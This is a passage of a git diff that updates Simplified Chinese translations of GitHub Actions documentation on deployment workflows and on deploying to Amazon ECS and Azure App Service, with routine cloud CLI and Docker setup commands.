`pending`。 ```yaml name: Deployment @@ -109,7 +113,7 @@ jobs: # ...deployment-specific steps ``` -You can also use `cancel-in-progress` to cancel any currently running job or workflow in the same concurrency group. +还可以使用 `cancel-in-progress` 取消同一并发组中任何当前正在运行的作业或工作流。 ```yaml name: Deployment @@ -132,42 +136,41 @@ jobs: # ...deployment-specific steps ``` -For guidance on writing deployment-specific steps, see "[Finding deployment examples](#finding-deployment-examples)." +有关如何编写特定于部署的步骤的指导,请参阅“[查找部署示例](#finding-deployment-examples)”。 -## Viewing deployment history +## 查看部署历史记录 -When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)." +当 {% data variables.product.prodname_actions %} 工作流部署到某个环境时,该环境将显示在存储库的主页上。 有关如何查看环境部署的详细信息,请参阅“[查看部署历史记录](/developers/overview/viewing-deployment-history)”。 -## Monitoring workflow runs +## 监控工作流程运行 -Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug deployments. For more information see, "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)." +每个工作流程运行都会生成一个实时图表,说明运行进度。 您可以使用此图表来监控和调试部署。 有关详细信息,请参阅“[使用可视化效果图](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)”。 -You can also view the logs of each workflow run and the history of workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)." +您还可以查看每个工作流程运行的日志和工作流程运行的历史记录。 有关详细信息,请参阅“[查看工作流运行历史记录](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)”。 -## Tracking deployments through apps +## 通过应用跟踪部署 -{% ifversion fpt or ghec %} -If your personal account or organization on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} is integrated with Microsoft Teams or Slack, you can track deployments that use environments through Microsoft Teams or Slack. For example, you can receive notifications through the app when a deployment is pending approval, when a deployment is approved, or when the deployment status changes. For more information about integrating Microsoft Teams or Slack, see "[GitHub extensions and integrations](/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations#team-communication-tools)." +{% ifversion fpt or ghec %} 如果在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的个人帐户或组织与 Microsoft Teams 或 Slack 集成,可以通过 Microsoft Teams 或 Slack 跟踪使用环境的部署。 例如,当部署正在等待批准、部署获得批准或部署状态更改时,您可以通过应用接收通知。 有关如何集成 Microsoft Teams 或 Slack 的详细信息,请参阅“[GitHub 扩展和集成](/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations#team-communication-tools)”。 {% endif %} -You can also build an app that uses deployment and deployment status webhooks to track deployments. {% data reusables.actions.environment-deployment-event %} For more information, see "[Apps](/developers/apps)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)." +你还可以构建一个应用,该应用使用部署和部署状态 web 挂钩来跟踪部署。 {% data reusables.actions.environment-deployment-event %} 有关详细信息,请参阅“[应用](/developers/apps)”和“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)”。 {% ifversion fpt or ghes or ghec %} -## Choosing a runner +## 选择运行器 -You can run your deployment workflow on {% data variables.product.company_short %}-hosted runners or on self-hosted runners. Traffic from {% data variables.product.company_short %}-hosted runners can come from a [wide range of network addresses](/rest/reference/meta#get-github-meta-information). If you are deploying to an internal environment and your company restricts external traffic into private networks, {% data variables.product.prodname_actions %} workflows running on {% data variables.product.company_short %}-hosted runners may not be able to communicate with your internal services or resources. To overcome this, you can host your own runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)." +您可以在 {% data variables.product.company_short %} 托管的运行器或自托管运行器上运行部署工作流程。 来自 {% data variables.product.company_short %} 托管的运行器的流量可能来自[各种网络地址](/rest/reference/meta#get-github-meta-information)。 如果要部署到内部环境,并且公司将外部流量限制到专用网络,则在 {% data variables.product.company_short %} 托管的运行器上运行的 {% data variables.product.prodname_actions %} 工作流可能无法与内部服务或资源通信。 为了克服这一点,您可以托管自己的运行器。 有关详细信息,请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners)”和“[关于 GitHub 托管的运行器](/actions/using-github-hosted-runners/about-github-hosted-runners)”。 {% endif %} -## Displaying a status badge +## 显示状态徽章 -You can use a status badge to display the status of your deployment workflow. {% data reusables.repositories.actions-workflow-status-badge-intro %} +您可以使用状态徽章来显示您的部署工作流程状态。 {% data reusables.repositories.actions-workflow-status-badge-intro %} -For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)." +有关详细信息,请参阅“[添加工作流状态徽章](/actions/managing-workflow-runs/adding-a-workflow-status-badge)”。 -## Finding deployment examples +## 查找部署示例 -This article demonstrated features of {% data variables.product.prodname_actions %} that you can add to your deployment workflows. +本文演示了可添加到部署工作流程的 {% data variables.product.prodname_actions %} 的功能。 {% data reusables.actions.cd-templates-actions %} diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md index abc8392e96..61b6f0cf8d 100644 --- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md +++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md @@ -1,6 +1,6 @@ --- -title: Deploying to Amazon Elastic Container Service -intro: You can deploy to Amazon Elastic Container Service (ECS) as part of your continuous deployment (CD) workflows. +title: 部署到 Amazon Elastic Container Service +intro: 您可以部署到 Amazon Elastic Container Service (ECS),作为持续部署 (CD) 工作流程的一部分。 redirect_from: - /actions/guides/deploying-to-amazon-elastic-container-service - /actions/deployment/deploying-to-amazon-elastic-container-service @@ -15,37 +15,40 @@ topics: - Containers - Amazon ECS shortTitle: Deploy to Amazon ECS +ms.openlocfilehash: 259a3fd5bc0076f60d0c08f356b3ec9914effe89 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881104' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +本指南介绍如何使用 {% data variables.product.prodname_actions %} 构建容器化应用程序,将其推送到 [Amazon 弹性容器注册表 (ECR)](https://aws.amazon.com/ecr/),以及要推送到 `main` 分支时将其部署到 [Amazon 弹性容器服务 (ECS)](https://aws.amazon.com/ecs/)。 -This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to [Amazon Elastic Container Registry (ECR)](https://aws.amazon.com/ecr/), and deploy it to [Amazon Elastic Container Service (ECS)](https://aws.amazon.com/ecs/) when there is a push to the `main` branch. +在每次推送到 {% data variables.product.company_short %} 存储库中的 `main` 时,{% data variables.product.prodname_actions %} 工作流将生成新的容器映像并将其推送到 Amazon ECR,然后将新的任务定义部署到 Amazon ECS。 -On every new push to `main` in your {% data variables.product.company_short %} repository, the {% data variables.product.prodname_actions %} workflow builds and pushes a new container image to Amazon ECR, and then deploys a new task definition to Amazon ECS. - -{% ifversion fpt or ghec or ghes > 3.4 %} +{% ifversion fpt or ghec or ghae-issue-4856 or ghes > 3.4 %} {% note %} -**Note**: {% data reusables.actions.about-oidc-short-overview %} and ["Configuring OpenID Connect in Amazon Web Services"](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services). +注意:{% data reusables.actions.about-oidc-short-overview %} 和“[在 Amazon Web Services 中配置 OpenID Connect](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services)”。 {% endnote %} {% endif %} -## Prerequisites +## 先决条件 -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps for Amazon ECR and ECS: +在创建 {% data variables.product.prodname_actions %} 工作流程之前,首先需要对 Amazon ECR 和 ECS 完成以下设置步骤: -1. Create an Amazon ECR repository to store your images. +1. 创建 Amazon ECR 仓库以存储映像。 - For example, using [the AWS CLI](https://aws.amazon.com/cli/): + 例如,使用 [AWS CLI](https://aws.amazon.com/cli/): - {% raw %}```bash{:copy} - aws ecr create-repository \ + {% raw %}```bash{:copy} aws ecr create-repository \ --repository-name MY_ECR_REPOSITORY \ --region MY_AWS_REGION ```{% endraw %} @@ -143,12 +146,8 @@ jobs: # push it to ECR so that it can # be deployed to ECS. docker build -t $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG . - docker push $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG{% endraw %} -{%- ifversion actions-save-state-set-output-envs %} - echo "image=$ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG" >> $GITHUB_OUTPUT -{%- else %} + docker push $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG echo "::set-output name=image::$ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG" -{%- endif %}{% raw %} - name: Fill in the new image ID in the Amazon ECS task definition id: task-def @@ -167,14 +166,14 @@ jobs: wait-for-service-stability: true{% endraw %} ``` -## Additional resources +## 其他资源 -For the original starter workflow, see [`aws.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/aws.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. +对于原始初学者工作流,请参阅 {% data variables.product.prodname_actions %} `starter-workflows` 存储库中的 [`aws.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/aws.yml)。 -For more information on the services used in these examples, see the following documentation: +有关这些示例中使用的服务的详细信息,请参阅以下文档: -* "[Security best practices in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)" in the Amazon AWS documentation. -* Official AWS "[Configure AWS Credentials](https://github.com/aws-actions/configure-aws-credentials)" action. -* Official AWS [Amazon ECR "Login"](https://github.com/aws-actions/amazon-ecr-login) action. -* Official AWS [Amazon ECS "Render Task Definition"](https://github.com/aws-actions/amazon-ecs-render-task-definition) action. -* Official AWS [Amazon ECS "Deploy Task Definition"](https://github.com/aws-actions/amazon-ecs-deploy-task-definition) action. +* Amazon AWS 文档中的“[IAM 安全最佳做法](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)”。 +* 官方 AWS“[配置 AWS 凭据](https://github.com/aws-actions/configure-aws-credentials)”操作。 +* 官方 AWS [Amazon ECR“登录”](https://github.com/aws-actions/amazon-ecr-login)操作。 +* 官方 AWS [Amazon ECS“呈现任务定义”](https://github.com/aws-actions/amazon-ecs-render-task-definition)操作。 +* 官方 AWS [Amazon ECS“部署任务定义”](https://github.com/aws-actions/amazon-ecs-deploy-task-definition)操作。 diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md index 29abd3f106..de641e4f20 100644 --- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md +++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md @@ -1,6 +1,6 @@ --- -title: Deploying Docker to Azure App Service -intro: You can deploy a Docker container to Azure App Service as part of your continuous deployment (CD) workflows. +title: 将 Docker 部署到 Azure App Service +intro: 作为持续部署 (CD) 工作流程的一部分,您可以将 Docker 容器部署到 Azure App Service。 versions: fpt: '*' ghes: '*' @@ -12,34 +12,38 @@ topics: - Containers - Docker - Azure App Service +ms.openlocfilehash: bfae92b757e4d3224efc1e94f1f4377a4183e4d2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410353' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +本指南说明如何使用 {% data variables.product.prodname_actions %} 构建 Docker 容器并将其部署到 [Azure 应用服务](https://azure.microsoft.com/services/app-service/)。 -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Docker container to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -{% ifversion fpt or ghec or ghes > 3.4 %} +{% ifversion fpt or ghec or ghae-issue-4856 or ghes > 3.4 %} {% note %} -**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." +注意:{% data reusables.actions.about-oidc-short-overview %} 和“[在 Azure 中配置 OpenID Connect](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)”。 {% endnote %} {% endif %} -## Prerequisites +## 先决条件 -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: +在创建 {% data variables.product.prodname_actions %} 工作流程之前,首先需要完成以下设置步骤: {% data reusables.actions.create-azure-app-plan %} -1. Create a web app. +1. 创建 Web 应用。 - For example, you can use the Azure CLI to create an Azure App Service web app: + 例如,可以使用 Azure CLI 创建 Azure App Service web app: ```bash{:copy} az webapp create \ @@ -49,15 +53,15 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you --deployment-container-image-name nginx:latest ``` - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + 在上面的命令中,将参数替换为你自己的值,其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。 {% data reusables.actions.create-azure-publish-profile %} -1. Set registry credentials for your web app. +1. 设置 web app 的注册表凭据。 - Create a {% data variables.product.pat_v1 %} with the `repo` and `read:packages` scopes. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + 使用 `repo` 和 `read:packages` 范围创建个人访问令牌。 有关详细信息,请参阅“[创建个人访问令牌](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)”。 - Set `DOCKER_REGISTRY_SERVER_URL` to `https://ghcr.io`, `DOCKER_REGISTRY_SERVER_USERNAME` to the GitHub username or organization that owns the repository, and `DOCKER_REGISTRY_SERVER_PASSWORD` to your {% data variables.product.pat_generic %} from above. This will give your web app credentials so it can pull the container image after your workflow pushes a newly built image to the registry. You can do this with the following Azure CLI command: + 将 `DOCKER_REGISTRY_SERVER_URL` 设置为 `https://ghcr.io`,将 `DOCKER_REGISTRY_SERVER_USERNAME` 设置为拥有存储库的 GitHub 用户名或组织,并将 `DOCKER_REGISTRY_SERVER_PASSWORD` 设置为你的个人访问令牌。 这将提供 Web 应用凭据,以便在工作流程将新构建的映像推送到注册表后,它可以拉取容器映像。 可以使用以下 Azure CLI 命令执行此操作: ```shell az webapp config appsettings set \ @@ -68,13 +72,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} -## Creating the workflow +## 创建工作流程 -Once you've completed the prerequisites, you can proceed with creating the workflow. +完成先决条件后,可以继续创建工作流程。 -The following example workflow demonstrates how to build and deploy a Docker container to Azure App Service when there is a push to the `main` branch. +以下示例工作流演示如何在推送到 `main` 分支时构建 Docker 容器并将其部署到 Azure 应用服务。 -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. +确保在工作流 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为创建的 Web 应用的名称。 {% data reusables.actions.delete-env-key %} @@ -146,10 +150,10 @@ jobs: images: 'ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}' ``` -## Additional resources +## 其他资源 -The following resources may also be useful: +以下资源也可能有用: -* For the original starter workflow, see [`azure-container-webapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-container-webapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. +* 对于原始初学者工作流,请参阅 {% data variables.product.prodname_actions %} `starter-workflows` 存储库中的 [`azure-container-webapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-container-webapp.yml)。 +* 用于部署 Web 应用的操作是官方 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。 +* 有关部署到 Azure 的 GitHub 操作工作流的更多示例,请参阅 [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) 存储库。 diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md index 3f3c359899..e564f143ec 100644 --- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md +++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md @@ -1,6 +1,6 @@ --- -title: Deploying Java to Azure App Service -intro: You can deploy your Java project to Azure App Service as part of your continuous deployment (CD) workflows. +title: 将 Java 部署到 Azure App Service +intro: 作为持续部署 (CD) 工作流程的一部分,您可以将 Java 项目部署到 Azure App Service。 versions: fpt: '*' ghes: '*' @@ -11,34 +11,38 @@ topics: - CD - Java - Azure App Service +ms.openlocfilehash: ede24c0173cfe0493ad529b2f5d8a03f97ade7b9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410097' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +本指南说明如何使用 {% data variables.product.prodname_actions %} 构建 Java 项目并将其部署到 [Azure 应用服务](https://azure.microsoft.com/services/app-service/)。 -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Java project to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -{% ifversion fpt or ghec or ghes > 3.4 %} +{% ifversion fpt or ghec or ghae-issue-4856 or ghes > 3.4 %} {% note %} -**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." +注意:{% data reusables.actions.about-oidc-short-overview %} 和“[在 Azure 中配置 OpenID Connect](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)”。 {% endnote %} {% endif %} -## Prerequisites +## 先决条件 -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: +在创建 {% data variables.product.prodname_actions %} 工作流程之前,首先需要完成以下设置步骤: {% data reusables.actions.create-azure-app-plan %} -1. Create a web app. +1. 创建 Web 应用。 - For example, you can use the Azure CLI to create an Azure App Service web app with a Java runtime: + 例如,可以使用 Azure CLI 创建具有 Java 运行时的 Azure App Service Web 应用: ```bash{:copy} az webapp create \ @@ -48,19 +52,19 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you --runtime "JAVA|11-java11" ``` - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + 在上面的命令中,将参数替换为你自己的值,其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。 {% data reusables.actions.create-azure-publish-profile %} 1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} -## Creating the workflow +## 创建工作流程 -Once you've completed the prerequisites, you can proceed with creating the workflow. +完成先决条件后,可以继续创建工作流程。 -The following example workflow demonstrates how to build and deploy a Java project to Azure App Service when there is a push to the `main` branch. +以下示例工作流演示如何在推送到 `main` 分支时构建 Java 项目并将其部署到 Azure 应用服务。 -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you want to use a Java version other than `11`, change `JAVA_VERSION`. +确保在工作流 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为创建的 Web 应用的名称。 如果要使用 `11` 以外的 Java 版本,请更改 `JAVA_VERSION`。 {% data reusables.actions.delete-env-key %} @@ -124,10 +128,10 @@ jobs: package: '*.jar' ``` -## Additional resources +## 其他资源 -The following resources may also be useful: +以下资源也可能有用: -* For the original starter workflow, see [`azure-webapps-java-jar.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-java-jar.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. +* 对于原始初学者工作流,请参阅 {% data variables.product.prodname_actions %} `starter-workflows` 存储库中的 [`azure-webapps-java-jar.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-java-jar.yml)。 +* 用于部署 Web 应用的操作是官方 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。 +* 有关部署到 Azure 的 GitHub 操作工作流的更多示例,请参阅 [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) 存储库。 diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md index b3729f828d..3df5189dd2 100644 --- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md +++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md @@ -1,6 +1,6 @@ --- -title: Deploying .NET to Azure App Service -intro: You can deploy your .NET project to Azure App Service as part of your continuous deployment (CD) workflows. +title: 将 .NET 部署到 Azure App Service +intro: 作为持续部署 (CD) 工作流程的一部分,您可以将 .NET 项目部署到 Azure App Service。 versions: fpt: '*' ghes: '*' @@ -10,34 +10,38 @@ type: tutorial topics: - CD - Azure App Service +ms.openlocfilehash: cb71e0016157d7d1fdd366819840ea90d104e8dc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410033' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +本指南说明如何使用 {% data variables.product.prodname_actions %} 构建 .NET 项目并将其部署到 [Azure 应用服务](https://azure.microsoft.com/services/app-service/)。 -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a .NET project to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -{% ifversion fpt or ghec or ghes > 3.4 %} +{% ifversion fpt or ghec or ghae-issue-4856 or ghes > 3.4 %} {% note %} -**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." +注意:{% data reusables.actions.about-oidc-short-overview %} 和“[在 Azure 中配置 OpenID Connect](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)”。 {% endnote %} {% endif %} -## Prerequisites +## 先决条件 -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: +在创建 {% data variables.product.prodname_actions %} 工作流程之前,首先需要完成以下设置步骤: {% data reusables.actions.create-azure-app-plan %} -2. Create a web app. +2. 创建 Web 应用。 - For example, you can use the Azure CLI to create an Azure App Service web app with a .NET runtime: + 例如,可以使用 Azure CLI 创建具有 .NET 运行时的 Azure App Service Web 应用: ```bash{:copy} az webapp create \ @@ -47,19 +51,19 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you --runtime "DOTNET|5.0" ``` - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + 在上面的命令中,将参数替换为你自己的值,其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。 {% data reusables.actions.create-azure-publish-profile %} 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} -## Creating the workflow +## 创建工作流程 -Once you've completed the prerequisites, you can proceed with creating the workflow. +完成先决条件后,可以继续创建工作流程。 -The following example workflow demonstrates how to build and deploy a .NET project to Azure App Service when there is a push to the `main` branch. +以下示例工作流演示如何在推送到 `main` 分支时构建 .NET 项目并将其部署到 Azure 应用服务。 -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`. If you use a version of .NET other than `5`, change `DOTNET_VERSION`. +确保在工作流 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为创建的 Web 应用的名称。 如果项目的路径不是存储库根路径,请更改 `AZURE_WEBAPP_PACKAGE_PATH`。 如果使用 `5` 以外的 .NET 版本,请更改 `DOTNET_VERSION`。 {% data reusables.actions.delete-env-key %} @@ -134,10 +138,10 @@ jobs: package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %} ``` -## Additional resources +## 其他资源 -The following resources may also be useful: +以下资源也可能有用: -* For the original starter workflow, see [`azure-webapps-dotnet-core.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-dotnet-core.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. +* 对于原始初学者工作流,请参阅 {% data variables.product.prodname_actions %} `starter-workflows` 存储库中的 [`azure-webapps-dotnet-core.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-dotnet-core.yml)。 +* 用于部署 Web 应用的操作是官方 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。 +* 有关部署到 Azure 的 GitHub 操作工作流的更多示例,请参阅 [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) 存储库。 diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md index a15fa91f0a..1e02b91baa 100644 --- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md +++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md @@ -1,6 +1,6 @@ --- -title: Deploying Node.js to Azure App Service -intro: You can deploy your Node.js project to Azure App Service as part of your continuous deployment (CD) workflows. +title: 将 Node.js 部署到 Azure App Service +intro: 作为持续部署 (CD) 工作流程的一部分,您可以将 Node.js 部署到 Azure App Service。 redirect_from: - /actions/guides/deploying-to-azure-app-service - /actions/deployment/deploying-to-azure-app-service @@ -16,34 +16,38 @@ topics: - Node - JavaScript - Azure App Service +ms.openlocfilehash: d4b5a5f19098d2b84b63ae56791814eadb0fcb72 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410169' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +本指南说明如何使用 {% data variables.product.prodname_actions %} 构建、测试 Node.js 项目并将其部署到 [Azure 应用服务](https://azure.microsoft.com/services/app-service/)。 -This guide explains how to use {% data variables.product.prodname_actions %} to build, test, and deploy a Node.js project to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -{% ifversion fpt or ghec or ghes > 3.4 %} +{% ifversion fpt or ghec or ghae-issue-4856 or ghes > 3.4 %} {% note %} -**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." +注意:{% data reusables.actions.about-oidc-short-overview %} 和“[在 Azure 中配置 OpenID Connect](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)”。 {% endnote %} {% endif %} -## Prerequisites +## 先决条件 -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: +在创建 {% data variables.product.prodname_actions %} 工作流程之前,首先需要完成以下设置步骤: {% data reusables.actions.create-azure-app-plan %} -2. Create a web app. +2. 创建 Web 应用。 - For example, you can use the Azure CLI to create an Azure App Service web app with a Node.js runtime: + 例如,可以使用 Azure CLI 创建具有 Node.js 运行时的 Azure App Service Web 应用: ```bash{:copy} az webapp create \ @@ -53,19 +57,19 @@ Before creating your {% data 